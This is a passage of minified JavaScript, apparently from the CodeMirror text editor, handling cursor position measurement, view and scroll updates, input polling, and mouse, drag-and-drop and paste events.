b.view.text.getBoundingClientRect());if(!b.hasHeights){var g=b.view,h=b.rect,k=a.options.lineWrapping,l=k&&a.display.scroller.clientWidth;if(!g.measure.heights||k&&g.measure.width!=l){var m=g.measure.heights=[];if(k)for(g.measure.width=l,g=g.text.firstChild.getClientRects(),k=0;k<g.length-1;k++){var l=g[k],r=g[k+1];2<Math.abs(l.bottom-r.bottom)&&m.push((l.bottom+r.top)/2-h.top)}m.push(h.bottom-h.top)}b.hasHeights=!0}var h=d,m=b.map,p,G,n,q;for(d=0;d<m.length;d+=3){var s=m[d],u=m[d+1];if(c<s)G=0,n=
1,q="left";else if(c<u)G=c-s,n=G+1;else if(d==m.length-3||c==u&&m[d+3]>c)n=u-s,G=n-1,c>=u&&(q="right");if(null!=G){p=m[d+2];s==u&&h==(p.insertLeft?"left":"right")&&(q=h);if("left"==h&&0==G)for(;d&&m[d-2]==m[d-3]&&m[d-1].insertLeft;)p=m[(d-=3)+2],q="left";if("right"==h&&G==u-s)for(;d<m.length-3&&m[d+3]==m[d+4]&&!m[d+5].insertLeft;)p=m[(d+=3)+2],q="right";break}}var F;if(3==p.nodeType){for(d=0;4>d;d++){for(;G&&gb(b.line.text.charAt(s+G));)--G;for(;s+n<u&&gb(b.line.text.charAt(s+n));)++n;if(z&&9>C&&
0==G&&n==u-s)F=p.parentNode.getBoundingClientRect();else if(z&&a.options.lineWrapping){var v=Ma(p,G,n).getClientRects();F=v.length?v["right"==h?v.length-1:0]:Oc}else F=Ma(p,G,n).getBoundingClientRect()||Oc;if(F.left||F.right||0==G)break;n=G;G-=1;q="right"}if(z&&11>C){if(c=window.screen&&null!=screen.logicalXDPI&&screen.logicalXDPI!=screen.deviceXDPI)null!=Pc?c=Pc:(n=U(a.display.measure,t("span","x")),c=n.getBoundingClientRect(),n=Ma(n,0,1).getBoundingClientRect(),c=Pc=1<Math.abs(c.left-n.left));c&&
(c=screen.logicalXDPI/screen.deviceXDPI,n=screen.logicalYDPI/screen.deviceYDPI,F={left:F.left*c,right:F.right*c,top:F.top*n,bottom:F.bottom*n})}}else 0<G&&(q=h="right"),F=a.options.lineWrapping&&1<(v=p.getClientRects()).length?v["right"==h?v.length-1:0]:p.getBoundingClientRect();!(z&&9>C)||G||F&&(F.left||F.right)||(F=(p=p.parentNode.getClientRects()[0])?{left:p.left,right:p.left+Ya(a.display),top:p.top,bottom:p.bottom}:Oc);p=F.top-b.rect.top;G=F.bottom-b.rect.top;c=(p+G)/2;n=b.view.measure.heights;
for(d=0;d<n.length-1&&!(c<n[d]);d++);q={left:("right"==q?F.right:F.left)-b.rect.left,right:("left"==q?F.left:F.right)-b.rect.left,top:d?n[d-1]:0,bottom:n[d]};F.left||F.right||(q.bogus=!0);a.options.singleCursorHeightPerLine||(q.rtop=p,q.rbottom=G);a=q;a.bogus||(b.cache[f]=a)}return{left:a.left,right:a.right,top:e?a.rtop:a.top,bottom:e?a.rbottom:a.bottom}}function Yd(a){if(a.measure&&(a.measure.cache={},a.measure.heights=null,a.rest))for(var b=0;b<a.rest.length;b++)a.measure.caches[b]={}}function Zd(a){a.display.externalMeasure=
null;wa(a.display.lineMeasure);for(var b=0;b<a.display.view.length;b++)Yd(a.display.view[b])}function Za(a){Zd(a);a.display.cachedCharWidth=a.display.cachedTextHeight=a.display.cachedPaddingH=null;a.options.lineWrapping||(a.display.maxLineChanged=!0);a.display.lineNumChars=null}function Qc(a,b,c,d){if(b.widgets)for(var e=0;e<b.widgets.length;++e)if(b.widgets[e].above){var f=hb(b.widgets[e]);c.top+=f;c.bottom+=f}if("line"==d)return c;d||(d="local");b=aa(b);b="local"==d?b+a.display.lineSpace.offsetTop:
b-a.display.viewOffset;if("page"==d||"window"==d)a=a.display.lineSpace.getBoundingClientRect(),b+=a.top+("window"==d?0:window.pageYOffset||(document.documentElement||document.body).scrollTop),d=a.left+("window"==d?0:window.pageXOffset||(document.documentElement||document.body).scrollLeft),c.left+=d,c.right+=d;c.top+=b;c.bottom+=b;return c}function $d(a,b,c){if("div"==c)return b;var d=b.left;b=b.top;"page"==c?(d-=window.pageXOffset||(document.documentElement||document.body).scrollLeft,b-=window.pageYOffset||
(document.documentElement||document.body).scrollTop):"local"!=c&&c||(c=a.display.sizer.getBoundingClientRect(),d+=c.left,b+=c.top);a=a.display.lineSpace.getBoundingClientRect();return{left:d-a.left,top:b-a.top}}function Jb(a,b,c,d,e){d||(d=s(a.doc,b.line));var f=d;b=b.ch;d=Nc(a,Lb(a,d),b,e);return Qc(a,f,d,c)}function ha(a,b,c,d,e,f){function g(b,g){var h=Nc(a,e,b,g?"right":"left",f);g?h.left=h.right:h.right=h.left;return Qc(a,d,h,c)}function h(a,b){var c=k[b],d=c.level%2;a==Rc(c)&&b&&c.level<k[b-
1].level?(c=k[--b],a=Sc(c)-(c.level%2?0:1),d=!0):a==Sc(c)&&b<k.length-1&&c.level<k[b+1].level&&(c=k[++b],a=Rc(c)-c.level%2,d=!1);return d&&a==c.to&&a>c.from?g(a-1):g(a,d)}d=d||s(a.doc,b.line);e||(e=Lb(a,d));var k=ca(d);b=b.ch;if(!k)return g(b);var l=Tc(k,b),l=h(b,l);null!=ib&&(l.other=h(b,ib));return l}function ae(a,b){var c=0;b=u(a.doc,b);a.options.lineWrapping||(c=Ya(a.display)*b.ch);var d=s(a.doc,b.line),e=aa(d)+a.display.lineSpace.offsetTop;return{left:c,right:c,top:e,bottom:e+d.height}}function Mb(a,
b,c,d){a=q(a,b);a.xRel=d;c&&(a.outside=!0);return a}function Uc(a,b,c){var d=a.doc;c+=a.display.viewOffset;if(0>c)return Mb(d.first,0,!0,-1);var e=za(d,c),f=d.first+d.size-1;if(e>f)return Mb(d.first+d.size-1,s(d,f).text.length,!0,1);0>b&&(b=0);for(d=s(d,e);;)if(e=pf(a,d,e,b,c),f=(d=xa(d,!1))&&d.find(0,!0),d&&(e.ch>f.from.ch||e.ch==f.from.ch&&0<e.xRel))e=D(d=f.to.line);else return e}function pf(a,b,c,d,e){function f(d){d=ha(a,q(c,d),"line",b,l);h=!0;if(g>d.bottom)return d.left-k;if(g<d.top)return d.left+
k;h=!1;return d.left}var g=e-aa(b),h=!1,k=2*a.display.wrapper.clientWidth,l=Lb(a,b),m=ca(b),r=b.text.length;e=Nb(b);var p=Ob(b),n=f(e),s=h,t=f(p),u=h;if(d>t)return Mb(c,p,u,1);for(;;){if(m?p==e||p==Vc(b,e,1):1>=p-e){m=d<n||d-n<=t-d?e:p;for(d-=m==e?n:t;gb(b.text.charAt(m));)++m;return Mb(c,m,m==e?s:u,-1>d?-1:1<d?1:0)}var v=Math.ceil(r/2),F=e+v;if(m)for(var F=e,w=0;w<v;++w)F=Vc(b,F,1);w=f(F);if(w>d){p=F;t=w;if(u=h)t+=1E3;r=v}else e=F,n=w,s=h,r-=v}}function ua(a){if(null!=a.cachedTextHeight)return a.cachedTextHeight;
if(null==Aa){Aa=t("pre");for(var b=0;49>b;++b)Aa.appendChild(document.createTextNode("x")),Aa.appendChild(t("br"));Aa.appendChild(document.createTextNode("x"))}U(a.measure,Aa);b=Aa.offsetHeight/50;3<b&&(a.cachedTextHeight=b);wa(a.measure);return b||1}function Ya(a){if(null!=a.cachedCharWidth)return a.cachedCharWidth;var b=t("span","xxxxxxxxxx"),c=t("pre",[b]);U(a.measure,c);b=b.getBoundingClientRect();b=(b.right-b.left)/10;2<b&&(a.cachedCharWidth=b);return b||10}function sa(a){a.curOp={cm:a,viewChanged:!1,
startHeight:a.doc.height,forceUpdate:!1,updateInput:null,typing:!1,changeObjs:null,cursorActivityHandlers:null,cursorActivityCalled:0,selectionChanged:!1,updateMaxLine:!1,scrollLeft:null,scrollTop:null,scrollToPos:null,id:++qf};Na?Na.ops.push(a.curOp):a.curOp.ownsGroup=Na={ops:[a.curOp],delayedCallbacks:[]}}function ta(a){if(a=a.curOp.ownsGroup)try{var b=a.delayedCallbacks,c=0;do{for(;c<b.length;c++)b[c]();for(var d=0;d<a.ops.length;d++){var e=a.ops[d];if(e.cursorActivityHandlers)for(;e.cursorActivityCalled<
e.cursorActivityHandlers.length;)e.cursorActivityHandlers[e.cursorActivityCalled++](e.cm)}}while(c<b.length)}finally{Na=null;for(b=0;b<a.ops.length;b++)a.ops[b].cm.curOp=null;a=a.ops;for(b=0;b<a.length;b++)e=a[b],c=e.cm,d=c.display,e.updateMaxLine&&wc(c),e.mustUpdate=e.viewChanged||e.forceUpdate||null!=e.scrollTop||e.scrollToPos&&(e.scrollToPos.from.line<d.viewFrom||e.scrollToPos.to.line>=d.viewTo)||d.maxLineChanged&&c.options.lineWrapping,e.update=e.mustUpdate&&new Ad(c,e.mustUpdate&&{top:e.scrollTop,
ensure:e.scrollToPos},e.forceUpdate);for(b=0;b<a.length;b++)e=a[b],e.updatedDisplay=e.mustUpdate&&Cc(e.cm,e.update);for(b=0;b<a.length;b++){e=a[b];c=e.cm;d=c.display;e.updatedDisplay&&Ec(c);e.barMeasure=Cb(c);if(d.maxLineChanged&&!c.options.lineWrapping){var f=void 0,f=d.maxLine.text.length,f=Nc(c,Lb(c,d.maxLine),f,void 0);e.adjustWidthTo=f.left+3;e.maxScrollLeft=Math.max(0,d.sizer.offsetLeft+e.adjustWidthTo+R-d.scroller.clientWidth)}if(e.updatedDisplay||e.selectionChanged)e.newSelectionNodes=Sd(c)}for(b=
0;b<a.length;b++)e=a[b],c=e.cm,null!=e.adjustWidthTo&&(c.display.sizer.style.minWidth=e.adjustWidthTo+"px",e.maxScrollLeft<c.doc.scrollLeft&&Oa(c,Math.min(c.display.scroller.scrollLeft,e.maxScrollLeft),!0),c.display.maxLineChanged=!1),e.newSelectionNodes&&Td(c,e.newSelectionNodes),e.updatedDisplay&&Fc(c,e.barMeasure),(e.updatedDisplay||e.startHeight!=c.doc.height)&&ya(c,e.barMeasure),e.selectionChanged&&Kb(c),c.state.focused&&e.updateInput&&Z(c,e.typing);for(b=0;b<a.length;b++){e=a[b];c=e.cm;d=c.display;
f=c.doc;null!=e.adjustWidthTo&&1<Math.abs(e.barMeasure.scrollWidth-c.display.scroller.scrollWidth)&&ya(c);e.updatedDisplay&&Dd(c,e.update);null==d.wheelStartX||null==e.scrollTop&&null==e.scrollLeft&&!e.scrollToPos||(d.wheelStartX=d.wheelStartY=null);if(null!=e.scrollTop&&(d.scroller.scrollTop!=e.scrollTop||e.forceScroll)){var g=Math.max(0,Math.min(d.scroller.scrollHeight-d.scroller.clientHeight,e.scrollTop));d.scroller.scrollTop=d.scrollbarV.scrollTop=f.scrollTop=g}null==e.scrollLeft||d.scroller.scrollLeft==
e.scrollLeft&&!e.forceScroll||(g=Math.max(0,Math.min(d.scroller.scrollWidth-d.scroller.clientWidth,e.scrollLeft)),d.scroller.scrollLeft=d.scrollbarH.scrollLeft=f.scrollLeft=g,uc(c));if(e.scrollToPos){g=void 0;a:{var g=u(f,e.scrollToPos.from),h=u(f,e.scrollToPos.to),k=e.scrollToPos.margin;null==k&&(k=0);for(var l=0;5>l;l++){var m=!1,r=ha(c,g),p=h&&h!=g?ha(c,h):r,p=Pb(c,Math.min(r.left,p.left),Math.min(r.top,p.top)-k,Math.max(r.left,p.left),Math.max(r.bottom,p.bottom)+k),n=c.doc.scrollTop,q=c.doc.scrollLeft;
null!=p.scrollTop&&(jb(c,p.scrollTop),1<Math.abs(c.doc.scrollTop-n)&&(m=!0));null!=p.scrollLeft&&(Oa(c,p.scrollLeft),1<Math.abs(c.doc.scrollLeft-q)&&(m=!0));if(!m){g=r;break a}}g=void 0}e.scrollToPos.isCursor&&c.state.focused&&(h=g,k=c.display,l=k.sizer.getBoundingClientRect(),g=null,0>h.top+l.top?g=!0:h.bottom+l.top>(window.innerHeight||document.documentElement.clientHeight)&&(g=!1),null==g||rf||(h=t("div","\u200b",null,"position: absolute; top: "+(h.top-k.viewOffset-c.display.lineSpace.offsetTop)+
"px; height: "+(h.bottom-h.top+R)+"px; left: "+h.left+"px; width: 2px;"),c.display.lineSpace.appendChild(h),h.scrollIntoView(g),c.display.lineSpace.removeChild(h)))}g=e.maybeHiddenMarkers;h=e.maybeUnhiddenMarkers;if(g)for(k=0;k<g.length;++k)g[k].lines.length||H(g[k],"hide");if(h)for(k=0;k<h.length;++k)h[k].lines.length&&H(h[k],"unhide");d.wrapper.offsetHeight&&(f.scrollTop=c.display.scroller.scrollTop);e.updatedDisplay&&I&&(c.options.lineWrapping&&(d=e.barMeasure,c.display.sizer.offsetWidth+c.display.gutters.offsetWidth<
c.display.scroller.clientWidth-1&&(c.display.sizer.style.minHeight=c.display.heightForcer.style.top="0px",c.display.gutters.style.height=d.docHeight+"px")),e.barMeasure.scrollWidth>e.barMeasure.clientWidth&&e.barMeasure.scrollWidth<e.barMeasure.clientWidth+1&&!(c.display.scroller.clientHeight-c.display.wrapper.clientHeight<R-3)&&ya(c));e.changeObjs&&H(c,"changes",c,e.changeObjs)}}}function pa(a,b){if(a.curOp)return b();sa(a);try{return b()}finally{ta(a)}}function B(a,b){return function(){if(a.curOp)return b.apply(a,
arguments);sa(a);try{return b.apply(a,arguments)}finally{ta(a)}}}function K(a){return function(){if(this.curOp)return a.apply(this,arguments);sa(this);try{return a.apply(this,arguments)}finally{ta(this)}}}function M(a){return function(){var b=this.cm;if(!b||b.curOp)return a.apply(this,arguments);sa(b);try{return a.apply(this,arguments)}finally{ta(b)}}}function Xd(a,b,c){for(var d=this.line=b,e;d=xa(d,!1);)d=d.find(1,!0).line,(e||(e=[])).push(d);this.size=(this.rest=e)?D(A(this.rest))-c+1:1;this.node=
this.text=null;this.hidden=va(a,b)}function Db(a,b,c){var d=[],e;for(e=b;e<c;)b=new Xd(a.doc,s(a.doc,e),e),e+=b.size,d.push(b);return d}function Q(a,b,c,d){null==b&&(b=a.doc.first);null==c&&(c=a.doc.first+a.doc.size);d||(d=0);var e=a.display;d&&c<e.viewTo&&(null==e.updateLineNumbers||e.updateLineNumbers>b)&&(e.updateLineNumbers=b);a.curOp.viewChanged=!0;if(b>=e.viewTo)ma&&Dc(a.doc,b)<e.viewTo&&la(a);else if(c<=e.viewFrom)ma&&Cd(a.doc,c+d)>e.viewFrom?la(a):(e.viewFrom+=d,e.viewTo+=d);else if(b<=e.viewFrom&&
c>=e.viewTo)la(a);else if(b<=e.viewFrom){var f=Qb(a,c,c+d,1);f?(e.view=e.view.slice(f.index),e.viewFrom=f.lineN,e.viewTo+=d):la(a)}else if(c>=e.viewTo)(f=Qb(a,b,b,-1))?(e.view=e.view.slice(0,f.index),e.viewTo=f.lineN):la(a);else{var f=Qb(a,b,b,-1),g=Qb(a,c,c+d,1);f&&g?(e.view=e.view.slice(0,f.index).concat(Db(a,f.lineN,g.lineN)).concat(e.view.slice(g.index)),e.viewTo+=d):la(a)}if(a=e.externalMeasured)c<a.lineN?a.lineN+=d:b<a.lineN+a.size&&(e.externalMeasured=null)}function ia(a,b,c){a.curOp.viewChanged=
!0;var d=a.display,e=a.display.externalMeasured;e&&b>=e.lineN&&b<e.lineN+e.size&&(d.externalMeasured=null);b<d.viewFrom||b>=d.viewTo||(a=d.view[ab(a,b)],null!=a.node&&(a=a.changes||(a.changes=[]),-1==J(a,c)&&a.push(c)))}function la(a){a.display.viewFrom=a.display.viewTo=a.doc.first;a.display.view=[];a.display.viewOffset=0}function ab(a,b){if(b>=a.display.viewTo)return null;b-=a.display.viewFrom;if(0>b)return null;for(var c=a.display.view,d=0;d<c.length;d++)if(b-=c[d].size,0>b)return d}function Qb(a,
b,c,d){var e=ab(a,b),f=a.display.view;if(!ma||c==a.doc.first+a.doc.size)return{index:e,lineN:c};for(var g=0,h=a.display.viewFrom;g<e;g++)h+=f[g].size;if(h!=b){if(0<d){if(e==f.length-1)return null;b=h+f[e].size-b;e++}else b=h-b;c+=b}for(;Dc(a.doc,c)!=c;){if(e==(0>d?0:f.length-1))return null;c+=d*f[e-(0>d?1:0)].size;e+=d}return{index:e,lineN:c}}function Bd(a){a=a.display.view;for(var b=0,c=0;c<a.length;c++){var d=a[c];d.hidden||d.node&&!d.changes||++b}return b}function Rb(a){a.display.pollingFast||
a.display.poll.set(a.options.pollInterval,function(){Wc(a);a.state.focused&&Rb(a)})}function kb(a){function b(){Wc(a)||c?(a.display.pollingFast=!1,Rb(a)):(c=!0,a.display.poll.set(60,b))}var c=!1;a.display.pollingFast=!0;a.display.poll.set(20,b)}function Wc(a){var b=a.display.input,c=a.display.prevInput,d=a.doc;if(!a.state.focused||sf(b)&&!c||Sb(a)||a.options.disableInput)return!1;a.state.pasteIncoming&&a.state.fakedLastChar&&(b.value=b.value.substring(0,b.value.length-1),a.state.fakedLastChar=!1);
var e=b.value;if(e==c&&!a.somethingSelected())return!1;if(z&&9<=C&&a.display.inputHasSelection===e||S&&/[\uf700-\uf7ff]/.test(e))return Z(a),!1;var f=!a.curOp;f&&sa(a);a.display.shift=!1;8203!=e.charCodeAt(0)||d.sel!=a.display.selForContextMenu||c||(c="\u200b");for(var g=0,h=Math.min(c.length,e.length);g<h&&c.charCodeAt(g)==e.charCodeAt(g);)++g;var h=e.slice(g),k=Ba(h),l=null;a.state.pasteIncoming&&1<d.sel.ranges.length&&(Ca&&Ca.join("\n")==h?l=0==d.sel.ranges.length%Ca.length&&lb(Ca,Ba):k.length==
d.sel.ranges.length&&(l=lb(k,function(a){return[a]})));for(var m=d.sel.ranges.length-1;0<=m;m--){var r=d.sel.ranges[m],p=r.from(),n=r.to();g<c.length?p=q(p.line,p.ch-(c.length-g)):a.state.overwrite&&r.empty()&&!a.state.pasteIncoming&&(n=q(n.line,Math.min(s(d,n.line).text.length,n.ch+A(k).length)));var t=a.curOp.updateInput,p={from:p,to:n,text:l?l[m%l.length]:k,origin:a.state.pasteIncoming?"paste":a.state.cutIncoming?"cut":"+input"};Pa(a.doc,p);E(a,"inputRead",a,p);if(h&&!a.state.pasteIncoming&&a.options.electricChars&&
a.options.smartIndent&&100>r.head.ch&&(!m||d.sel.ranges[m-1].head.line!=r.head.line))if(r=a.getModeAt(r.head),p=qa(p),r.electricChars)for(n=0;n<r.electricChars.length;n++){if(-1<h.indexOf(r.electricChars.charAt(n))){mb(a,p.line,"smart");break}}else r.electricInput&&r.electricInput.test(s(d,p.line).text.slice(0,p.ch))&&mb(a,p.line,"smart")}La(a);a.curOp.updateInput=t;a.curOp.typing=!0;1E3<e.length||-1<e.indexOf("\n")?b.value=a.display.prevInput="":a.display.prevInput=e;f&&ta(a);a.state.pasteIncoming=
a.state.cutIncoming=!1;return!0}function Z(a,b){var c,d,e=a.doc;a.somethingSelected()?(a.display.prevInput="",c=e.sel.primary(),d=(c=be&&(100<c.to().line-c.from().line||1E3<(d=a.getSelection()).length))?"-":d||a.getSelection(),a.display.input.value=d,a.state.focused&&nb(a.display.input),z&&9<=C&&(a.display.inputHasSelection=d)):b||(a.display.prevInput=a.display.input.value="",z&&9<=C&&(a.display.inputHasSelection=null));a.display.inaccurateSelection=c}function P(a){"nocursor"==a.options.readOnly||
nc&&ka()==a.display.input||a.display.input.focus()}function Xc(a){a.state.focused||(P(a),pc(a))}function Sb(a){return a.options.readOnly||a.doc.cantEdit}function cf(a){function b(){a.state.focused&&setTimeout(Y(P,a),0)}function c(b){ea(a,b)||Yc(b)}function d(b){if(a.somethingSelected())Ca=a.getSelections(),e.inaccurateSelection&&(e.prevInput="",e.inaccurateSelection=!1,e.input.value=Ca.join("\n"),nb(e.input));else{for(var c=[],d=[],k=0;k<a.doc.sel.ranges.length;k++){var l=a.doc.sel.ranges[k].head.line,
l={anchor:q(l,0),head:q(l+1,0)};d.push(l);c.push(a.getRange(l.anchor,l.head))}"cut"==b.type?a.setSelections(d,null,oa):(e.prevInput="",e.input.value=c.join("\n"),nb(e.input));Ca=c}"cut"==b.type&&(a.state.cutIncoming=!0)}var e=a.display;w(e.scroller,"mousedown",B(a,zd));z&&11>C?w(e.scroller,"dblclick",B(a,function(b){if(!ea(a,b)){var c=Qa(a,b);!c||Zc(a,b,"gutterClick",!0,E)||Da(a.display,b)||(N(b),b=a.findWordAt(c),Fb(a.doc,b.anchor,b.head))}})):w(e.scroller,"dblclick",function(b){ea(a,b)||N(b)});
w(e.lineSpace,"selectstart",function(a){Da(e,a)||N(a)});$c||w(e.scroller,"contextmenu",function(b){ce(a,b)});w(e.scroller,"scroll",function(){e.scroller.clientHeight&&(jb(a,e.scroller.scrollTop),Oa(a,e.scroller.scrollLeft,!0),H(a,"scroll",a))});w(e.scrollbarV,"scroll",function(){e.scroller.clientHeight&&jb(a,e.scrollbarV.scrollTop)});w(e.scrollbarH,"scroll",function(){e.scroller.clientHeight&&Oa(a,e.scrollbarH.scrollLeft)});w(e.scroller,"mousewheel",function(b){de(a,b)});w(e.scroller,"DOMMouseScroll",
function(b){de(a,b)});w(e.scrollbarH,"mousedown",b);w(e.scrollbarV,"mousedown",b);w(e.wrapper,"scroll",function(){e.wrapper.scrollTop=e.wrapper.scrollLeft=0});w(e.input,"keyup",function(b){ee.call(a,b)});w(e.input,"input",function(){z&&9<=C&&a.display.inputHasSelection&&(a.display.inputHasSelection=null);kb(a)});w(e.input,"keydown",B(a,fe));w(e.input,"keypress",B(a,ge));w(e.input,"focus",Y(pc,a));w(e.input,"blur",Y(Ab,a));a.options.dragDrop&&(w(e.scroller,"dragstart",function(b){if(z&&(!a.state.draggingText||
100>+new Date-he))Yc(b);else if(!ea(a,b)&&!Da(a.display,b)&&(b.dataTransfer.setData("Text",a.getSelection()),b.dataTransfer.setDragImage&&!ie)){var c=t("img",null,null,"position: fixed; left: 0; top: 0;");c.src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==";W&&(c.width=c.height=1,a.display.wrapper.appendChild(c),c._top=c.offsetTop);b.dataTransfer.setDragImage(c,0,0);W&&c.parentNode.removeChild(c)}}),w(e.scroller,"dragenter",c),w(e.scroller,"dragover",c),w(e.scroller,
"drop",B(a,tf)));w(e.scroller,"paste",function(b){Da(e,b)||(a.state.pasteIncoming=!0,P(a),kb(a))});w(e.input,"paste",function(){if(I&&!a.state.fakedLastChar&&!(200>new Date-a.state.lastMiddleDown)){var b=e.input.selectionStart,c=e.input.selectionEnd;e.input.value+="$";e.input.selectionEnd=c;e.input.selectionStart=b;a.state.fakedLastChar=!0}a.state.pasteIncoming=!0;kb(a)});w(e.input,"cut",d);w(e.input,"copy",d);rc&&w(e.sizer,"mouseup",function(){ka()==e.input&&e.input.blur();P(a)})}function uf(a){var b=
a.display;b.cachedCharWidth=b.cachedTextHeight=b.cachedPaddingH=null;a.setSize()}function Da(a,b){for(var c=b.target||b.srcElement;c!=a.wrapper;c=c.parentNode)if(!c||c.ignoreEvents||c.parentNode==a.sizer&&c!=a.mover)return!0}function Qa(a,b,c,d){var e=a.display;if(!c&&(c=b.target||b.srcElement,c==e.scrollbarH||c==e.scrollbarV||c==e.scrollbarFiller||c==e.gutterFiller))return null;var f,g,e=e.lineSpace.getBoundingClientRect();try{f=b.clientX-e.left,g=b.clientY-e.top}catch(h){return null}b=Uc(a,f,g);
var k;d&&1==b.xRel&&(k=s(a.doc,b.line).text).length==b.ch&&(d=V(k,k.length,a.options.tabSize)-k.length,b=q(b.line,Math.max(0,Math.round((f-Ud(a.display).left)/Ya(a.display))-d)));return b}function zd(a){if(!ea(this,a)){var b=this.display;b.shift=a.shiftKey;if(Da(b,a))I||(b.scroller.draggable=!1,setTimeout(function(){b.scroller.draggable=!0},100));else if(!Zc(this,a,"gutterClick",!0,E)){var c=Qa(this,a);window.focus();switch(je(a)){case 1:c?vf(this,a,c):(a.target||a.srcElement)==b.scroller&&N(a);break;
case 2:I&&(this.state.lastMiddleDown=+new Date);c&&Fb(this.doc,c);setTimeout(Y(P,this),20);N(a);break;case 3:$c&&ce(this,a)}}}}function vf(a,b,c){setTimeout(Y(Xc,a),0);var d=+new Date,e;Tb&&Tb.time>d-400&&0==x(Tb.pos,c)?e="triple":Ub&&Ub.time>d-400&&0==x(Ub.pos,c)?(e="double",Tb={time:d,pos:c}):(e="single",Ub={time:d,pos:c});var d=a.doc.sel,f=S?b.metaKey:b.ctrlKey;a.options.dragDrop&&wf&&!Sb(a)&&"single"==e&&-1<d.contains(c)&&d.somethingSelected()?xf(a,b,c,f):yf(a,b,c,e,f)}function xf(a,b,c,d){var e=
a.display,f=B(a,function(g){I&&(e.scroller.draggable=!1);a.state.draggingText=!1;ja(document,"mouseup",f);ja(e.scroller,"drop",f);10>Math.abs(b.clientX-g.clientX)+Math.abs(b.clientY-g.clientY)&&(N(g),d||Fb(a.doc,c),P(a),z&&9==C&&setTimeout(function(){document.body.focus();P(a)},20))});I&&(e.scroller.draggable=!0);a.state.draggingText=f;e.scroller.dragDrop&&e.scroller.dragDrop();w(document,"mouseup",f);w(e.scroller,"drop",f)}function yf(a,b,c,d,e){function f(b){if(0!=x(n,b))if(n=b,"rect"==d){for(var e=
[],f=a.options.tabSize,g=V(s(l,c.line).text,c.ch,f),h=V(s(l,b.line).text,b.ch,f),k=Math.min(g,h),g=Math.max(g,h),h=Math.min(c.line,b.line),t=Math.min(a.lastLine(),Math.max(c.line,b.line));h<=t;h++){var v=s(l,h).text,w=ke(v,k,f);k==g?e.push(new y(q(h,w),q(h,w))):v.length>w&&e.push(new y(q(h,w),q(h,ke(v,g,f))))}e.length||e.push(new y(c,c));L(l,ba(p.ranges.slice(0,r).concat(e),r),{origin:"*mouse",scroll:!1});a.scrollIntoView(b)}else e=m,f=e.anchor,k=b,"single"!=d&&(b="double"==d?a.findWordAt(b):new y(q(b.line,
0),u(l,q(b.line+1,0))),0<x(b.anchor,f)?(k=b.head,f=Kc(e.from(),b.anchor)):(k=b.anchor,f=Jc(e.to(),b.head))),e=p.ranges.slice(0),e[r]=new y(u(l,f),k),L(l,ba(e,r),ad)}function g(b){var c=++v,e=Qa(a,b,!0,"rect"==d);if(e)if(0!=x(e,n)){Xc(a);f(e);var h=yc(k,l);(e.line>=h.to||e.line<h.from)&&setTimeout(B(a,function(){v==c&&g(b)}),150)}else{var m=b.clientY<t.top?-20:b.clientY>t.bottom?20:0;m&&setTimeout(B(a,function(){v==c&&(k.scroller.scrollTop+=m,g(b))}),50)}}function h(b){v=Infinity;N(b);P(a);ja(document,
"mousemove",z);ja(document,"mouseup",C);l.history.lastSelOrigin=null}var k=a.display,l=a.doc;N(b);var m,r,p=l.sel;e&&!b.shiftKey?(r=l.sel.contains(c),m=-1<r?l.sel.ranges[r]:new y(c,c)):m=l.sel.primary();b.altKey?(d="rect",e||(m=new y(c,c)),c=Qa(a,b,!0,!0),r=-1):"double"==d?(b=a.findWordAt(c),m=a.display.shift||l.extend?db(l,m,b.anchor,b.head):b):"triple"==d?(b=new y(q(c.line,0),u(l,q(c.line+1,0))),m=a.display.shift||l.extend?db(l,m,b.anchor,b.head):b):m=db(l,m,c);e?-1<r?Lc(l,r,m,ad):(r=l.sel.ranges.length,
L(l,ba(l.sel.ranges.concat([m]),r),{scroll:!1,origin:"*mouse"})):(r=0,L(l,new ga([m],0),ad),p=l.sel);var n=c,t=k.wrapper.getBoundingClientRect(),v=0,z=B(a,function(a){je(a)?g(a):h(a)}),C=B(a,h);w(document,"mousemove",z);w(document,"mouseup",C)}function Zc(a,b,c,d,e){try{var f=b.clientX,g=b.clientY}catch(h){return!1}if(f>=Math.floor(a.display.gutters.getBoundingClientRect().right))return!1;d&&N(b);d=a.display;var k=d.lineDiv.getBoundingClientRect();if(g>k.bottom||!T(a,c))return bd(b);g-=k.top-d.viewOffset;
for(k=0;k<a.options.gutters.length;++k){var l=d.gutters.childNodes[k];if(l&&l.getBoundingClientRect().right>=f)return f=za(a.doc,g),e(a,c,a,f,a.options.gutters[k],b),bd(b)}}function tf(a){var b=this;if(!ea(b,a)&&!Da(b.display,a)){N(a);z&&(he=+new Date);var c=Qa(b,a,!0),d=a.dataTransfer.files;if(c&&!Sb(b))if(d&&d.length&&window.FileReader&&window.File){var e=d.length,f=Array(e),g=0;a=function(a,d){var h=new FileReader;h.onload=B(b,function(){f[d]=h.result;if(++g==e){c=u(b.doc,c);var a={from:c,to:c,
text:Ba(f.join("\n")),origin:"paste"};Pa(b.doc,a);Md(b.doc,na(c,qa(a)))}});h.readAsText(a)};for(var h=0;h<e;++h)a(d[h],h)}else if(b.state.draggingText&&-1<b.doc.sel.contains(c))b.state.draggingText(a),setTimeout(Y(P,b),20);else try{if(f=a.dataTransfer.getData("Text")){if(b.state.draggingText&&(S?!a.metaKey:!a.ctrlKey))var k=b.listSelections();Gb(b.doc,na(c,c));if(k)for(h=0;h<k.length;++h)Vb(b.doc,"",k[h].anchor,k[h].head,"drag");b.replaceSelection(f,"around","paste");P(b)}}catch(l){}}}function jb(a,
b){2>Math.abs(a.doc.scrollTop-b)||(a.doc.scrollTop=b,ob||Gc(a,{top:b}),a.display.scroller.scrollTop!=b&&(a.display.scroller.scrollTop=b),a.display.scrollbarV.scrollTop!=b&&(a.display.scrollbarV.scrollTop=b),ob&&Gc(a),Xa(a,100))}function Oa(a,b,c){(c?b==a.doc.scrollLeft:2>Math.abs(a.doc.scrollLeft-b))||(b=Math.min(b,a.display.scroller.scrollWidth-a.display.scroller.clientWidth),a.doc.scrollLeft=b,uc(a),a.display.scroller.scrollLeft!=b&&(a.display.scroller.scrollLeft=b),a.display.scrollbarH.scrollLeft!=
